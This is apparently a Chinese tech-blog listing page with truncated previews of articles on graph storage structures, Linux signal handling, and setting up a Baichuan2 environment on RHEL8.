目录 一、图的基本概念 二、 图的存储结构 2.1 邻接矩阵 2.2.1 邻接矩阵存储模式的代码实现 2.2.2 邻接矩阵存储的优缺点 2.2 邻接表 2.2.1 无向图的邻接表 2.2.2 有向图的邻接表 2.2.3 邻接表存储模式的代码实现 2.2.4 邻接表存储的优缺点 三、图的遍历 3.1 图的…
阅读更多...
[linux]信号处理：信号编码、基本API、自定义函数和集合操作的详解

[linux]信号处理：信号编码、基本API、自定义函数和集合操作的详解

一、信号的概述 1、定义 信号是 Linux 进程间通信的最古老的方式。信号是软件中断&#xff0c;它是在软件层次 上对中断机制的一种模拟&#xff0c;是一种异步&#xff08;不等待&#xff09;通信的方式 。信号可以导致一个正在运行的进程被 另一个正在运行的异步进程中断&a…
阅读更多...
RHEL8部署baichuan2环境

RHEL8部署baichuan2环境

前置 1、安装NVIDIA驱动 https://www.nvidia.cn/Download/index.aspx?langcn 阿里云 Alibaba Cloud Linux 3.2104 LTS 64位&#xff0c;需要选择RHEL8&#xff0c;如果没有RHEL8&#xff0c;则选最下面那个选择所有操作系统 点击搜索&#xff0c;下载这里有安装步骤&#x…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023